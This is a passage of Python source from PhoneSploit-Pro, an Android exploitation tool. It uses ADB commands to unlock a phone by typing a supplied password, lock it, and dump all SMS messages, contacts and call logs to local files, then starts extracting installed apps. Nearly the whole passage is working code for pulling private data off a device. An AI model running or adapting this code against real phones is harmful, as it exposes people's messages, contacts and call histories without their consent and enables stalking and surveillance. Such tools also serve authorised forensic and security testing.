os.system('adb shell input swipe 200 900 200 300 200')
if not password == '': # if password is not blank
os.system(f'adb shell input text "{password}"')
os.system('adb shell input keyevent 66')
print(f'{color.GREEN}\nDevice unlocked{color.WHITE}')
def lock_device():
os.system('adb shell input keyevent 26')
print(f'{color.GREEN}\nDevice locked{color.WHITE}')
def dump_sms():
global pull_location
if pull_location == '':
print(
f"\n{color.YELLOW}Enter location to save SMS file, Press 'Enter' for default{color.WHITE}")
pull_location = input("> ")
if pull_location == "":
pull_location = 'Downloaded-Files'
print(
f"\n{color.PURPLE}Saving SMS file to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
else:
print(f"\n{color.PURPLE}Saving SMS file to {pull_location}\n{color.WHITE}")
print(f'{color.GREEN}\nExtracting all SMS{color.WHITE}')
file_name = f'sms_dump-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.txt'
os.system(
f'adb shell content query --uri content://sms/ --projection address:date:body > {pull_location}/{file_name}')
def dump_contacts():
global pull_location
if pull_location == '':
print(
f"\n{color.YELLOW}Enter location to save Contacts file, Press 'Enter' for default{color.WHITE}")
pull_location = input("> ")
if pull_location == "":
pull_location = 'Downloaded-Files'
print(
f"\n{color.PURPLE}Saving Contacts file to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
else:
print(
f"\n{color.PURPLE}Saving Contacts file to {pull_location}\n{color.WHITE}")
print(f'{color.GREEN}\nExtracting all Contacts{color.WHITE}')
file_name = f'contacts_dump-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.txt'
os.system(
f'adb shell content query --uri content://contacts/phones/ --projection display_name:number > {pull_location}/{file_name}')
def dump_call_logs():
global pull_location
if pull_location == '':
print(
f"\n{color.YELLOW}Enter location to save Call Logs file, Press 'Enter' for default{color.WHITE}")
pull_location = input("> ")
if pull_location == "":
pull_location = 'Downloaded-Files'
print(
f"\n{color.PURPLE}Saving Call Logs file to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
else:
print(
f"\n{color.PURPLE}Saving Call Logs file to {pull_location}\n{color.WHITE}")
print(f'{color.GREEN}\nExtracting all Call Logs{color.WHITE}')
file_name = f'call_logs_dump-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.txt'
os.system(
f'adb shell content query --uri content://call_log/calls --projection name:number:duration:date > {pull_location}/{file_name}')
def extract_apk():
print(
f"\n{color.CYAN}Enter package name {color.WHITE}Example : com.spotify.music ")
package_name = input("> ")
if package_name == '':
print(
f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
return
else: